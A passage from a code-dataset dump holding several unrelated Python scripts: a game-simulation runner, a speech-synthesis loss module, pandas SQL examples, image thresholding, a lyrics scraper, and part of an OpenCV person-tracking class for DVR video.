# keep the records\n\n min_pos = 0\n max_pos = (num_players - 1)\n middle_pos = math.floor((min_pos + max_pos) / 2)\n for pos in [min_pos, middle_pos, max_pos]:\n for info_prob in [x / 100.0 for x in range(0, 101, 10)]:\n print(\"Testing Case #{}_{}...with info probability {}...\".format(num_players, pos, info_prob))\n game = Game(players=make_players(num_players, pos, info_prob), end_condition=end_condition, interval=0, verbose=False)\n game.run()\n\n # *** After game ***\n row = {}\n for i, player in enumerate(game.players):\n assert isinstance(player, Player)\n\n # update records\n # player_type | player_params | num_wins | cum_rewards\n offset = 4 * i\n row.update({\n cols[offset]: player.name,\n cols[offset + 1]: \"greedy\" if player.is_policy() else \"\",\n cols[offset + 2]: player.num_wins,\n cols[offset + 3]: player.cumulative_reward\n })\n row.update({\n \"info_probability\": info_prob,\n })\n\n df = df.append(row, ignore_index=True)\n # *** END ***\n\n print()\n\n df.to_csv(out_path, index=False)\n","repo_name":"JanzenLiu/uno-dev","sub_path":"run_game_v2_probability_collusion_neighbor.py","file_name":"run_game_v2_probability_collusion_neighbor.py","file_ext":"py","file_size_in_byte":3425,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"7"} +{"seq_id":"72858559902","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport time\n\ndef mask_from_lens(lens, max_len=None):\n if max_len is None:\n max_len = lens.max()\n ids = torch.arange(0, max_len, device=lens.device, dtype=lens.dtype)\n mask = torch.lt(ids, lens.unsqueeze(1))\n return mask\n \n \nclass AttentionCTCLoss(torch.nn.Module):\n def __init__(self, blank_logprob=-1):\n super(AttentionCTCLoss, self).__init__()\n self.log_softmax = torch.nn.LogSoftmax(dim=3)\n self.blank_logprob = blank_logprob\n self.CTCLoss = nn.CTCLoss(zero_infinity=True)\n\n self.in_lens = 200\n self.out_lens = 900\n\n def forward(self, attn_logprob, in_lens, out_lens):\n key_lens = in_lens\n query_lens = out_lens\n\n in_lens_mask = mask_from_lens(in_lens, 200).int()\n in_lens_mask = F.pad(input=in_lens_mask.cpu(),\n pad=(1, 0, 0, 0),\n value=1).to(attn_logprob.device)\n out_lens_mask = mask_from_lens(out_lens, 900).int()\n\n attn_logprob_padded = F.pad(input=attn_logprob.cpu(),\n pad=(1, 0, 0, 0, 0, 0, 0, 0),\n value=self.blank_logprob).to(attn_logprob.device)\n\n cost_total = 0.0\n for bid in range(attn_logprob.shape[0]):\n target_seq = torch.arange(1, self.in_lens + 1).unsqueeze(0).npu()\n curr_logprob = attn_logprob_padded[bid].permute(1, 0, 2)\n curr_logprob = self.log_softmax(curr_logprob[None])[0]\n\n mask = out_lens_mask[bid].unsqueeze(1) @ in_lens_mask[bid].unsqueeze(0)\n curr_logprob = curr_logprob * mask.unsqueeze(1)\n\n ctc_cost = self.CTCLoss(\n curr_logprob, target_seq, input_lengths=query_lens[bid:bid+1],\n target_lengths=key_lens[bid:bid+1])\n\n cost_total += ctc_cost\n cost = cost_total / attn_logprob.shape[0]\n return cost\n \n\nclass AttentionBinarizationLoss(torch.nn.Module):\n def __init__(self):\n super(AttentionBinarizationLoss, self).__init__()\n\n def forward(self, hard_attention, soft_attention, eps=1e-12):\n mask = (hard_attention == 1).float()\n log = torch.log(torch.clamp(soft_attention,\n min=eps))\n log_sum = (log * mask).sum()\n\n return -log_sum / hard_attention.sum()\n","repo_name":"Ascend/ModelZoo-PyTorch","sub_path":"PyTorch/contrib/audio/FastPitch/fastpitch/attn_loss_function.py","file_name":"attn_loss_function.py","file_ext":"py","file_size_in_byte":2405,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"7"} +{"seq_id":"44931300568","text":"from pickletools import read_bytes4\r\nfrom sqlalchemy import create_engine as cg, false\r\nimport pandas as pd\r\n\r\n'''\r\n READING CSV FILE\r\n'''\r\ncsv_file = pd.read_csv('input.csv')\r\ncsv_file2 = csv_file.to_string()\r\n'''\r\n CREATING ENGINE \r\n'''\r\nengine = cg('sqlite:///:memory:')\r\n\r\n'''\r\n STORING DATAFRAME AS DATABASE\r\n'''\r\ncsv_file.to_sql('Data_Table', engine, index=False)\r\n\r\n'''\r\n QUERY #1\r\n'''\r\n\r\nres1 = pd.read_sql_query('SELECT * FROM Data_Table', engine)\r\n# print(res1)\r\n\r\n'''\r\n QUERY #2 ( SELECT SPECIFIC COLUMNS ) \r\n'''\r\n\r\nres2 = pd.read_sql_query('SELECT name, salary FROM Data_Table', engine)\r\n# print(res2)\r\n\r\n# print(res2.head(2)) # You can also use pandas functions with it\r\n\r\n'''\r\n QUERY #3 ( SELECT FROM SPECIFIC ROWS AND COLUMNS)\r\n'''\r\n\r\nres3 = pd.read_sql_query(\"SELECT name, salary, dept FROM Data_Table WHERE dept = 'IT'\", engine)\r\n# print(res3)\r\n\r\n\r\nfrom pandas.io import sql # import sql from pandas.io\r\n\r\n'''\r\n INSERTING DATA INTO RELATIONAL TABLE\r\n'''\r\n\r\n\r\nsql.execute(\"INSERT INTO Data_Table VALUES(?,?,?,?,?)\", engine, params=[(9, 'Shiva', 6500.00, '2022-04-24', 'IT')])\r\n\r\nres4 = pd.read_sql_query('SELECT * FROM Data_Table', engine)\r\nprint(res4)\r\n\r\n\r\n'''\r\n DELETING DATA FROM RELATIONAL TABLE\r\n'''\r\n\r\nsql.execute(\"DELETE FROM Data_Table WHERE name = 'Dan'\", engine)\r\nres5 = pd.read_sql_query('SELECT * FROM Data_Table', engine)\r\nprint(res5)","repo_name":"UdayCxdes/python-data-processing","sub_path":"06_relational_database.py","file_name":"06_relational_database.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"20517546427","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Aug 26 11:30:09 2020\r\n\r\n@author: sandhya chettiar\r\n\"\"\"\r\n#Python code for Otsu’s thresholding\r\nimport matplotlib.pyplot as plt\r\nfrom skimage import io\r\nfrom skimage.filters import threshold_otsu\r\nimg = io.imread('C:/Users/sandhya chettiar/Desktop/Seattle_night_Rizal_Park.jpeg', as_gray=True)\r\nprint(img)\r\nthresh = threshold_otsu(img)\r\nprint(thresh)\r\nbinary = img > thresh\r\n#plt.gray()\r\n#plt.imshow(img)\r\nplt.show()\r\nplt.imshow(binary)\r\nplt.show()\r\n","repo_name":"Sandhya18Chettiar/Digital-Image-Processing-Lab","sub_path":"L3-f1.py","file_name":"L3-f1.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"35178705473","text":"import pandas as pd\nimport chardet\n\nFILE_PATH = '../Dados/Gabriel - inico a 10000/USUARIOS_PETS.csv'\n\n# Descobrir qual a codificação dos arquivos\nwith open(FILE_PATH, 'rb') as f:\n encode1 = chardet.detect(f.read())\n\n# carregar arquivos CSV em DataFrames\ndf = pd.read_csv(FILE_PATH, encoding=encode1['encoding'])\n\ndf = df.applymap(lambda x: str(x).replace(\"[\", \"\").replace(\"]\", \"\").replace(\"'\", \"\"))\ndf.to_csv('../Dados/Gabriel - inico a 10000/USUARIOS_PETS.csv', index=False)\n","repo_name":"kaellandrade/naive-bayes-pwa","sub_path":"python/Scripts_auxiliares/Scripts_tratamento_dados/remover_colchete_aspas_dados.py","file_name":"remover_colchete_aspas_dados.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"33942152920","text":"import pandas as pd\nfrom pandas import ExcelWriter\nfrom pandas import ExcelFile\n# import urllib.requests\nimport urllib.parse\nimport urllib.error\nfrom urllib.request import Request, urlopen\nimport json\nfrom bs4 import BeautifulSoup\nimport ssl\nfrom googlesearch import search\nimport time\nimport argparse\n\n\ndef scrape_lyrics(url):\n req = Request(url, headers={'User-Agent': 'Mozilla/5.0'})\n webpage = urlopen(req).read()\n\n soup = BeautifulSoup(webpage, 'html.parser')\n\n html = soup.prettify('utf-8')\n song_json = {\"Lyrics\": [], \"Comments\": []}\n\n for title in soup.find_all('title'):\n song_json[\"Title\"] = title.text.strip()\n\n for div in soup.find_all('div', attrs={'class': 'lyrics'}):\n song_json[\"Lyrics\"].append(div.text.strip().split(\"\\n\"));\n\n return song_json\n\n\ndef Extract(track_name, artist_name):\n track_name = str(track_name)\n artist_name = str(artist_name)\n query = \"genius lyrics \" + track_name + \" \" + artist_name\n url = ''\n for j in search(query, tld=\"co.in\", num=1, stop=1, pause=3):\n url = j\n\n if(url.find('genius') == -1):\n print(\"Song Not Found: %s,%s\" %(track_name, artist_name))\n flag = False\n song_json = []\n return track_name, artist_name, song_json, flag\n # continue\n\n try:\n song_json = scrape_lyrics(url)\n if len(song_json['Lyrics']) != 0:\n flag = True\n # with open(Track_name + \" \" + artist_name + '.json', 'w') as outfile:\n # json.dump(song_json, outfile, indent = 4, ensure_ascii = False)\n else:\n while (len(song_json['Lyrics']) == 0):\n song_json = scrape_lyrics(url)\n if len(song_json['Lyrics']) != 0:\n flag = True\n # with open(Track_name + \" \" + artist_name + '.json', 'w') as outfile:\n # json.dump(song_json, outfile, indent = 4, ensure_ascii = False)\n else:\n flag = False\n print(track_name + artist_name)\n\n except:\n print(\"Song Not Found in Genius: %s\" % (track_name + \" \" + artist_name))\n flag = False\n song_json = []\n\n return track_name, artist_name, song_json, flag\n\n\ndef save_lyrics(dataset_path, json_path):\n # dataset_path: dataset path\n # json_path: the path to save json\n\n data_list = pd.read_excel(dataset_path)\n\n # dictionary to store data\n data = {\n \"Artist\": [],\n \"Title\": [],\n \"Lyric\": [],\n \"Mood\": []\n }\n\n num = 0\n\n for row_index, song in data_list.iterrows():\n title_name, artist_name, song_lyric, flag = Extract(song.Title, song.Artist)\n if flag:\n data[\"Title\"].append(title_name)\n data[\"Artist\"].append(artist_name)\n data[\"Lyric\"].append(song_lyric)\n data[\"Mood\"].append(song.Mood)\n num += 1\n print(\"Succeed %04d : \" % num + title_name)\n time.sleep(70)\n\n with open(json_path, 'w') as fp:\n json.dump(data, fp, indent=4)\n print('Saved json/lyric_{:03d}.json: '.format(ID), len(data[\"Title\"]))\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n id_parser = parser.add_argument('--id',\n metavar='ID',\n action='store',\n help='xlsx file ID',\n type=int)\n id_args = parser.parse_args()\n ID = id_args.id\n\n dataset_path = 'output/lyric_{:03d}.xlsx'.format(ID)\n json_path = 'json/lyric_{:03d}.json'.format(ID)\n\n save_lyrics(dataset_path, json_path)\n","repo_name":"yinanazhou/Extract-Lyrics","sub_path":"data_lyrics.py","file_name":"data_lyrics.py","file_ext":"py","file_size_in_byte":3734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"73167294622","text":"# Look at animal detection as well:\n# https://towardsdatascience.com/detecting-animals-in-the-backyard-practical-application-of-deep-learning-c030d3263ba8\n# Basic algo from: https://www.pyimagesearch.com/2015/11/09/pedestrian-detection-opencv/\n\n# This script uses:\n# * Background subtraction to separate foreground from background (fast)\n# * Object tracking to track a previously identified object (fast)\n# * People detection to identify new objects of interest when we have untracked foreground data (slow)\n# * Face detection to identify the best frames in a sequence to take a screenshot (slow)\n#\n# We will always do background subtraction which is fairly fast and gives \n# a really good idea of the bounding boxes where we likely will see objects\n# of interest. These bounding boxes are then also used in other steps to help determine\n# the likelihood of any given detection.\n#\n# When we see something in the foreground then we will try and\n# detect/track people/faces in it. The detection is slow, so \n# we use the detection at first to identify a person, and then we\n# use tracking on that blob afterwards to follow them through the\n# following frames more cheaply without having to do more detection\n#\n# Finally we use face detection to get an idea of the \"quality\" of the\n# image for taking a still when we see faces.\n\nPRODUCTION = True\nDEBUG_INPUT = False\nDEBUG_TRACKER_REPLAY = False\nDEBUG_TRACKER_DECISIONS = True\nDEBUG_TRACKER_DECISIONS_VIDEO = False\n\nimport numpy as np\nimport cv2\nimport time\nimport copy\nimport imutils.object_detection\nimport glob\nimport os\nimport re\nimport datetime\nimport os.path\nimport sys\nimport json\nimport argparse\nimport logging\nlogger = logging.getLogger(__name__)\n\n\nclass Tracker(object):\n def __init__(self, id, tracker):\n self.id = id\n self.tracker = tracker\n self.failed_start_time = None\n \n self.start_time = None\n self.end_time = None\n \n self.last_bbox = None\n self.best_match = None\n self.best_match_bbox = None\n self.best_match_debug = None\n \n self.best_match_face_area = None\n self.best_match_large_bbox = None\n self.best_match_small_bbox = None\n\n self.best_match_frame_count = None\n self.face_weight = None\n \n self.tracked_video = None\n self.small_tracked_video = None\n\n\nclass VideoTracking:\n def __init__(self, channel, input_dir, output_dir):\n self.monitor_completed_files = []\n\n self.channel = '{:02d}'.format(int(channel))\n self.input_dir = input_dir\n self.output_dir = output_dir\n try: os.makedirs(self.output_dir)\n except FileExistsError: pass\n \n self.FRAME_RATE_DIVISOR = 3\n self.SCALE = 3\n self.trackers = []\n self.trackers_seen = 0\n self.background_remover = None\n\n # Lets also maintain an image of what we think are false positive foreground objects\n # Usually these will be things like trees moving in the wind, with this we can\n # automatically construct our own movement mask map.\n self.noisy_spots, self.noisy_spots_count = self.LoadProbability('noisy')\n self.tracked_spots, self.tracked_spots_count = self.LoadProbability('tracked')\n \n self.frame_count = 0\n\n self.people_detector = cv2.HOGDescriptor()\n self.people_detector.setSVMDetector(cv2.HOGDescriptor_getDefaultPeopleDetector())\n\n # Downloaded manually from: https://github.com/opencv/opencv/tree/master/data/haarcascades\n self.face_detector = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n\n def GetFileDetails(self, input_file):\n # Two variants of the file name:\n # DVR_02_20210114195959_20210114210001.mp4'\n # 02_20210114195959.mp4'\n\n # Expect the date in the file name. Take the first one that matches\n start_time_re = re.compile(r'^[^0-9]*(?P\\d{2})_(?P\\d{14}).*\\.[a-zA-Z0-9]*$')\n\n basename = os.path.basename(input_file)\n m = start_time_re.match(basename)\n if m is None:\n raise Exception('Not a valid DVR recording file name format: ' + str(basename))\n \n channel = m.group('channel')\n start_time = datetime.datetime.strptime(m.group('datetime'), '%Y%m%d%H%M%S')\n\n return (channel, start_time)\n\n def SaveBackground(self, background_remover, file_name):\n #background_remover.save(self.DebugFile(file_name + '.debug.txt'))\n params = {}\n \n params['BackgroundRatio'] = background_remover.getBackgroundRatio()\n params['ComplexityReductionThreshold'] = background_remover.getComplexityReductionThreshold()\n params['DetectShadows'] = background_remover.getDetectShadows()\n params['History'] = background_remover.getHistory()\n params['NMixtures'] = background_remover.getNMixtures()\n params['ShadowThreshold'] = background_remover.getShadowThreshold()\n #params['ShadowValue'] = background_remover.getShadowValue()\n params['VarInit'] = background_remover.getVarInit()\n params['VarMax'] = background_remover.getVarMax()\n params['VarMin'] = background_remover.getVarMin()\n params['VarThreshold'] = background_remover.getVarThreshold()\n params['VarThresholdGen'] = background_remover.getVarThresholdGen()\n with open(file_name + '.json', 'w') as file:\n json.dump(params, file, sort_keys=True, indent=4)\n \n im = background_remover.getBackgroundImage()\n cv2.imwrite(file_name + '.png', im)\n\n def LoadBackground(self, file_name, raise_on_error=False):\n background_remover = cv2.createBackgroundSubtractorMOG2(history = 200, varThreshold = 16, detectShadows = False)\n background_remover.setNMixtures(5)\n background_remover.setBackgroundRatio(0.69999999999999996)\n \n # Assuming this is variance with is standard division squared. I think noiseSigma is == standard deviation\n # Running the cv2.bgsegm.createBackgroundSubtractorMOG() I saw a noiseSigma == 15\n background_remover.setVarInit(15 * 15)\n\n try:\n with open(file_name + '.json', 'r') as file:\n params = json.load(file)\n except FileNotFoundError:\n if raise_on_error: raise\n return background_remover\n\n background_remover.setBackgroundRatio(params['BackgroundRatio'])\n background_remover.setComplexityReductionThreshold(params['ComplexityReductionThreshold'])\n background_remover.setDetectShadows(params['DetectShadows'])\n background_remover.setHistory(params['History'])\n background_remover.setNMixtures(params['NMixtures'])\n background_remover.setShadowThreshold(params['ShadowThreshold'])\n #background_remover.setShadowValue(params['ShadowValue'])\n background_remover.setVarInit(params['VarInit'])\n background_remover.setVarMax(params['VarMax'])\n background_remover.setVarMin(params['VarMin'])\n background_remover.setVarThreshold(params['VarThreshold'])\n background_remover.setVarThresholdGen(params['VarThresholdGen'])\n\n im = cv2.imread(file_name + '.png', cv2.IMREAD_UNCHANGED)\n background_remover.apply(im, learningRate=1)\n\n return background_remover\n\n def DrawBoxes(self, frame, boxes, colour, width, scale=1.0):\n for (x, y, w, h) in boxes:\n cv2.rectangle(frame, (int(x * scale), int(y * scale)), (int((x + w) * scale), int((y + h) * scale)), colour, width)\n\n def NonMaxSuppression(self, boxes):\n dual_points_array = np.array([[x, y, x + w, y + h] for (x, y, w, h) in boxes])\n merged_dual_points_array = imutils.object_detection.non_max_suppression(dual_points_array, probs=None, overlapThresh=0.65)\n return np.array([[x1, y1, x2 - x1, y2 - y1] for (x1, y1, x2, y2) in merged_dual_points_array])\n\n def Area(self, box): \n return box[2] * box[3]\n \n def Union(self, a,b):\n x = min(a[0], b[0])\n y = min(a[1], b[1])\n w = max(a[0]+a[2], b[0]+b[2]) - x\n h = max(a[1]+a[3], b[1]+b[3]) - y\n return (x, y, w, h)\n\n def UnionAll(self, boxes):\n u = boxes[0]\n for b in boxes[1:]: u = self.Union(u, b)\n return u\n\n def Intersection(self, a,b):\n x = max(a[0], b[0])\n y = max(a[1], b[1])\n w = min(a[0]+a[2], b[0]+b[2]) - x\n h = min(a[1]+a[3], b[1]+b[3]) - y\n if w<0 or h<0: return (x,y,0,0)\n return (x, y, w, h)\n\n def ExpandBox(self, box, shape, multiplier):\n \n x_diff = int(((box[2] * multiplier) - box[2]) / 2)\n y_diff = int(((box[3] * multiplier) - box[3]) / 2)\n \n x1 = box[0] - x_diff\n y1 = box[1] - y_diff\n x2 = box[0] + box[2] + x_diff\n y2 = box[1] + box[3] + y_diff\n\n # Now limit to within the specified boundary of shape\n x1 = min(shape[1], max(0, x1))\n x2 = min(shape[1], max(0, x2))\n\n y1 = min(shape[0], max(0, y1))\n y2 = min(shape[0], max(0, y2))\n\n return (x1,y1,x2-x1,y2-y1)\n \n def IoU(self, a, b):\n intersection = self.Intersection(a, b)\n intersection_area = self.Area(intersection)\n\n a_area = self.Area(a)\n b_area = self.Area(b)\n union_area = a_area + b_area - intersection_area\n \n iou = intersection_area / float(union_area)\n return iou\n\n def FindMatchingObjectIndexes(self, tracked_bbox, foreground_bboxes, required_overlap=0.7):\n matching = []\n for i in range(0, len(foreground_bboxes)):\n foreground_bbox = foreground_bboxes[i]\n \n intersection = self.Intersection(tracked_bbox, foreground_bbox)\n area_i = self.Area(intersection)\n\n area_a = self.Area(tracked_bbox)\n area_b = self.Area(foreground_bbox)\n\n perc = area_i / min(area_a, area_b)\n \n if perc > required_overlap: \n matching.append(i)\n\n return matching\n\n def ExtractForeground(self, small_gray_frame):\n small_gray_frame_blurred = cv2.GaussianBlur(small_gray_frame, (19, 19), cv2.BORDER_DEFAULT)\n small_gray_foreground_frame = self.background_remover.apply(small_gray_frame_blurred)\n\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(10,10))\n small_gray_foreground_frame = cv2.morphologyEx(small_gray_foreground_frame, cv2.MORPH_DILATE, kernel)\n #small_gray_foreground_frame = cv2.morphologyEx(small_gray_foreground_frame, cv2.MORPH_CLOSE, kernel)\n \n return small_gray_foreground_frame\n\n def FindForegroundObjects(self, small_gray_foreground_frame):\n # Identify the foreground_bboxes from the foreground images used in many following steps\n foreground_contours, hierarchy = cv2.findContours(small_gray_foreground_frame, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n foreground_contours = [c for c in foreground_contours if cv2.contourArea(c) > 250]\n foreground_bboxes = [cv2.boundingRect(c) for c in foreground_contours]\n #foreground_bboxes = self.NonMaxSuppression(foreground_bboxes)\n return (foreground_contours, foreground_bboxes)\n\n def DebugFile(self, file_name):\n dirname, basename = os.path.split(file_name)\n\n try: os.makedirs(os.path.join(dirname, 'debug'))\n except FileExistsError: pass\n \n return os.path.join(dirname, 'debug', basename)\n\n def OnStartTracker(self, tracker):\n # If debugging is enabled, we will dump state right now\n fourcc = cv2.VideoWriter_fourcc(*'XVID')\n \n if DEBUG_TRACKER_REPLAY:\n self.SaveBackground(self.background_remover, self.DebugFile(tracker.file_name + '_background'))\n tracker.tracked_video = cv2.VideoWriter(self.DebugFile(tracker.file_name + '.avi'), fourcc, 12.0, (1920,1080))\n\n if DEBUG_TRACKER_DECISIONS_VIDEO:\n tracker.small_tracked_video = cv2.VideoWriter(self.DebugFile(tracker.file_name + '.small_colour_frame.avi'), fourcc, 12.0, (int(1920/self.SCALE),int(1080/self.SCALE)))\n\n def OnTickTracker(self, tracker, colour_frame, small_colour_frame):\n if tracker.tracked_video is not None:\n tracker.tracked_video.write(colour_frame)\n \n if tracker.small_tracked_video is not None:\n tracker.small_tracked_video.write(small_colour_frame)\n \n def OnFinishTracker(self, tracker):\n if tracker.tracked_video is not None:\n tracker.tracked_video.release()\n tracker.tracked_video = None\n\n if tracker.small_tracked_video is not None:\n tracker.small_tracked_video.release()\n tracker.small_tracked_video = None\n\n print (str(self.frame_count) + ' : Destroy tracker: ' + str(tracker) + ' Now: ' + str(len(self.trackers)) + ' active self.trackers')\n\n tracker.file_name = tracker.file_name + '_' + tracker.end_time.strftime('%Y%m%d%H%M%S')\n \n # When we finish tracking an object. Create a still image of the best \n # frame we think we saw for that object\n if tracker.best_match is not None:\n self.DrawBoxes(tracker.best_match, [tracker.best_match_bbox], (255, 0, 0), 2)\n cv2.imwrite(tracker.file_name + '.png', tracker.best_match)\n cv2.imwrite(self.DebugFile(tracker.file_name + '_debug.png'), tracker.best_match_debug)\n\n\n def CategorizeForegroundObjects(self, trackers, foreground_contours, foreground_bboxes):\n tracked_foreground_index_to_tracker_map = {}\n \n for tracker in trackers:\n matching_foreground_bbox_indexes = self.FindMatchingObjectIndexes(tracker.last_bbox, foreground_bboxes)\n for foreground_bbox_index in matching_foreground_bbox_indexes:\n try: tracked_foreground_index_to_tracker_map[foreground_bbox_index].append(tracker)\n except KeyError: tracked_foreground_index_to_tracker_map[foreground_bbox_index] = [tracker]\n\n tracked_bboxes = [tracker.last_bbox for tracker in trackers]\n \n # If there are any objects left-over that are not being tracked by active trackers\n # then we want to run the people detector to see if there are new\n # people to track in this frame\n tracked_foreground_indexes = [index for index in tracked_foreground_index_to_tracker_map.keys()]\n tracked_foreground_contours = [foreground_contours[index] for index in tracked_foreground_index_to_tracker_map.keys()]\n tracked_foreground_bboxes = [foreground_bboxes[index] for index in tracked_foreground_index_to_tracker_map.keys()]\n \n untracked_foreground_indexes = [index for index in range(0, len(foreground_bboxes)) if index not in tracked_foreground_index_to_tracker_map]\n untracked_foreground_contours = [foreground_contours[index] for index in range(0, len(foreground_contours)) if index not in tracked_foreground_index_to_tracker_map]\n untracked_foreground_bboxes = [foreground_bboxes[index] for index in range(0, len(foreground_bboxes)) if index not in tracked_foreground_index_to_tracker_map]\n\n return (\n tracked_bboxes,\n tracked_foreground_indexes, \n tracked_foreground_contours, \n tracked_foreground_bboxes,\n \n untracked_foreground_indexes,\n untracked_foreground_contours,\n untracked_foreground_bboxes)\n\n\n def UpdateActiveTrackers(self, small_colour_frame, foreground_contours, foreground_bboxes):\n # List of trackers that just stopped as the object \"disappeared\" from the image so we can\n # delete them\n inactive_trackers = []\n \n for tracker in self.trackers:\n matching_foreground_bboxes = []\n\n # Update the tracker with the new image\n (success, tracked_bbox) = tracker.tracker.update(small_colour_frame)\n if success:\n tracker.last_bbox = tracked_bbox\n\n # Find any foreground_bboxes that match this tracked bbox\n matching_foreground_bbox_indexes = self.FindMatchingObjectIndexes(tracked_bbox, foreground_bboxes)\n matching_foreground_bboxes = [foreground_bboxes[foreground_bbox_index] for foreground_bbox_index in matching_foreground_bbox_indexes]\n \n # If we can no longer find the object in this image frame then we will\n # deactivate the tracker\n # \n # The second part of the conditional is because some trackers will \n # continue to match forever after the bbox walks off the screen\n # So we will identify this when it doesnt match any foreground changes \n # and force a failed match\n if not success or len(matching_foreground_bboxes) == 0:\n tracker.end_time = self.current_time\n\n # Note: Don't stop right away, give it a few seconds\n if tracker.failed_start_time is None:\n tracker.failed_start_time = self.current_time\n \n if (tracker.failed_start_time + datetime.timedelta(seconds=3)) <= self.current_time:\n inactive_trackers.append(tracker)\n else:\n tracker.failed_start_time = None\n \n # Clean up old/unused self.trackers\n for tracker in inactive_trackers:\n self.trackers.remove(tracker)\n self.OnFinishTracker(tracker)\n\n\n def CreateTracker(self, colour_frame, small_colour_frame, tracked_bbox):\n tracker = Tracker(self.trackers_seen, cv2.TrackerCSRT_create())\n self.trackers_seen += 1\n \n tracker.tracker.init(small_colour_frame, tracked_bbox)\n tracker.last_bbox = tracked_bbox\n\n tracker.best_match = copy.copy(colour_frame)\n tracker.best_match_bbox = (int(tracked_bbox[0] * self.SCALE), int(tracked_bbox[1] * self.SCALE), int(tracked_bbox[2] * self.SCALE), int(tracked_bbox[3] * self.SCALE))\n tracker.best_match_debug = small_colour_frame\n tracker.best_match_frame_count = self.frame_count\n\n tracker.start_time = self.current_time\n # + '_tracker' + str(tracker.id)\n tracker.file_name = os.path.join(self.output_dir, 'channel_' + str(self.channel) + '_' + tracker.start_time.strftime('%Y%m%d%H%M%S'))\n print (str(self.frame_count) + ' : Create tracker: ' + str(tracker) + ' box: ' + str(tracked_bbox) + ' Now: ' + str(len(self.trackers)) + ' active self.trackers')\n \n return tracker\n\n def ReInitTracker(self, tracker, colour_frame, small_colour_frame, tracked_bbox):\n tracker.tracker = cv2.TrackerCSRT_create()\n tracker.tracker.init(small_colour_frame, tracked_bbox)\n tracker.last_bbox = tracked_bbox\n \n def CheckObjectToTrack(self,\n colour_frame,\n small_colour_frame,\n foreground_bboxes, \n person_bbox):\n\n # Find any foreground objects associated with this object of interest and make sure we didn't find\n # an object of interest in the \"background\". If we did then we will just ignore it as a false positive\n matching_foreground_bbox_indexes = self.FindMatchingObjectIndexes(person_bbox, foreground_bboxes)\n if len(matching_foreground_bbox_indexes) == 0:\n print (str(self.frame_count) + ' : No foreground objects match the found person, likely a false positive found in the background image')\n return None\n\n \n # First we need to \"adjust\" the person_bbox. The person detector often \n # reports larger images than expected. We can trim it down based on the\n # matching_foreground_bboxes to include only area that we saw foreground\n # changes in. Otherwise we would just use \"tracked_bbox = tuple(person_bbox)\"\n matching_foreground_bboxes = [foreground_bboxes[i] for i in matching_foreground_bbox_indexes]\n merged_foreground_box = self.UnionAll(matching_foreground_bboxes)\n merged_foreground_box = self.ExpandBox(merged_foreground_box, small_colour_frame.shape, 1.2)\n tracked_bbox = self.Intersection(person_bbox, merged_foreground_box)\n\n # If the resulting tracked_bbox is smaller area than 50% of the original person match\n # Then likely this is just noise again. We will just ignore it\n person_area = person_bbox[2] * person_bbox[3]\n tracked_area = tracked_bbox[2] * tracked_bbox[3]\n if tracked_area < (person_area / 2):\n print (str(self.frame_count) + ' : bbox with foreground intersection: ' + str(tracked_bbox) + ' is too small compared to the person bbox: ' + str(person_bbox) + '. Assuming noise')\n return None\n\n # Now we may already have a tracker for this person, lets check and if so we want to\n # skip them and just keep using the existing tracker.\n existing_tracked_bboxes = [tracker.last_bbox for tracker in self.trackers]\n person_matching_tracker_bbox_indexes = self.FindMatchingObjectIndexes(person_bbox, existing_tracked_bboxes, required_overlap=0.4)\n if len(person_matching_tracker_bbox_indexes) > 0:\n # We should find the \"best\" tracker match. Probably the tracker with the most\n # overlap OR assuming equal overlap with the smallest area?\n # @todo for now just pick the first match\n tracker = self.trackers[person_matching_tracker_bbox_indexes[0]]\n \n # We may want to re-size/re-init the tracker though\n print (str(self.frame_count) + ' : skipping object: ' + str(person_bbox) + ' as we already have at least one tracker covering its area: ' + str(person_matching_tracker_bbox_indexes))\n self.ReInitTracker(tracker, colour_frame, small_colour_frame, tracked_bbox)\n return None\n\n\n # Lets create the tracker and update the state\n tracker = self.CreateTracker(colour_frame, small_colour_frame, tracked_bbox)\n return tracker\n \n def ActivateNewTrackers(self,\n colour_frame,\n small_colour_frame,\n small_gray_frame,\n foreground_contours, \n foreground_bboxes):\n \n new_objects_tracked = []\n new_tracked_bboxes = []\n \n # Lets add any trackers for people detected in the scene\n #people_bboxes, people_weights = self.people_detector.detectMultiScale(small_gray_frame, winStride=(4,4), padding=(8, 8), self.SCALE=1.05)\n people_bboxes, people_weights = self.people_detector.detectMultiScale(small_gray_frame)\n #people_bboxes = self.NonMaxSuppression(people_bboxes)\n if len(people_bboxes) > 0:\n print (str(self.frame_count) + ' : found people: ' + str(people_bboxes) + ' weights: '+ str(people_weights))\n for person_bbox in people_bboxes:\n print (str(self.frame_count) + ' : found person: ' + str(person_bbox))\n tracker = self.CheckObjectToTrack(\n colour_frame,\n small_colour_frame,\n foreground_bboxes, \n person_bbox)\n \n if tracker is not None:\n self.trackers.append(tracker)\n new_objects_tracked.append(tracker)\n new_tracked_bboxes.append(tracker.last_bbox)\n self.OnStartTracker(tracker)\n return (new_objects_tracked, list(people_bboxes), new_tracked_bboxes, list(people_weights))\n\n\n def GetForegroundObjects(self, tracker, foreground_contours, foreground_bboxes):\n tracked_foreground_indexes = []\n tracked_foreground_contours = []\n tracked_foreground_bboxes = []\n\n matching_foreground_bbox_indexes = self.FindMatchingObjectIndexes(tracker.last_bbox, foreground_bboxes)\n for foreground_bbox_index in matching_foreground_bbox_indexes:\n tracked_foreground_indexes.append(foreground_bbox_index)\n tracked_foreground_contours.append(foreground_contours[foreground_bbox_index])\n tracked_foreground_bboxes.append(foreground_bboxes[foreground_bbox_index])\n return (\n tracked_foreground_indexes, \n tracked_foreground_contours, \n 